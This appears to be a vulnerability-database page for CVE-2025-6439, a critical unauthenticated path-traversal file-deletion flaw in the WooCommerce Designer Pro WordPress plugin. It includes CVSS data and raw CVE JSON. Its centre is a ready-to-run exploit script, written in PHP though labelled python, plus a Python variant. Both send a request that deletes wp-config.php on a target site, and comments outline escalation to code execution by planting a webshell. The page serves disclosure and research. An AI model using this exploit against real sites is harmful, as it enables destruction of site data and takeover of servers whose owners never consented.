Security Vulnerability Report
中文
CVE-2025-6439 CVSS 9.8 CRITICAL

CVE-2025-6439

Published: 2025-10-11 10:15:44
Last Modified: 2026-04-15 00:35:42

Description

The WooCommerce Designer Pro plugin for WordPress, used by the Pricom - Printing Company & Design Services WordPress theme, is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'wcdp_save_canvas_design_ajax' function in all versions up to, and including, 1.9.26. This makes it possible for unauthenticated attackers to delete all files in an arbitrary directory on the server, which can lead to remote code execution, data loss, or site unavailability.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WooCommerce Designer Pro <= 1.9.26
Pricom - Printing Company & Design Services WordPress主题(使用受影响版本的WooCommerce Designer Pro)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-6439 - WooCommerce Designer Pro Arbitrary File Deletion PoC * Vulnerability: Unauthenticated Arbitrary File Deletion via Path Traversal * Affected Function: wcdp_save_canvas_design_ajax * Affected Versions: <= 1.9.26 */ // Target configuration $target_url = 'https://target-wordpress-site.com'; $ajax_endpoint = $target_url . '/wp-admin/admin-ajax.php'; // File path to delete using path traversal (e.g., delete wp-config.php) $malicious_path = '../../wp-config.php'; // Construct the payload $payload = [ 'action' => 'wcdp_save_canvas_design_ajax', 'file_path' => $malicious_path, 'design_data' => '', ]; // Send the exploit request $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $ajax_endpoint); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "HTTP Status: $http_code\n"; echo "Response: $response\n"; echo "[*] Attempted to delete: $malicious_path\n"; // Additional targets to escalate to RCE: // 1. Delete .htaccess to disable security rules // 2. Delete wp-config.php then re-upload malicious config // 3. Delete index.php and replace with webshell /* * Example using Python requests: * * import requests * * url = "https://target-wordpress-site.com/wp-admin/admin-ajax.php" * data = { * "action": "wcdp_save_canvas_design_ajax", * "file_path": "../../wp-config.php", * "design_data": "" * } * response = requests.post(url, data=data) * print(response.status_code, response.text) */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-6439", "sourceIdentifier": "[email protected]", "published": "2025-10-11T10:15:43.653", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WooCommerce Designer Pro plugin for WordPress, used by the Pricom - Printing Company & Design Services WordPress theme, is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'wcdp_save_canvas_design_ajax' function in all versions up to, and including, 1.9.26. This makes it possible for unauthenticated attackers to delete all files in an arbitrary directory on the server, which can lead to remote code execution, data loss, or site unavailability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://codecanyon.net/item/woocommerce-designer-pro-cmyk-card-flyer/22027731", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/407a0bc3-2775-4a34-9817-924bf94a4f94?source=cve", "source": "[email protected]"}]}}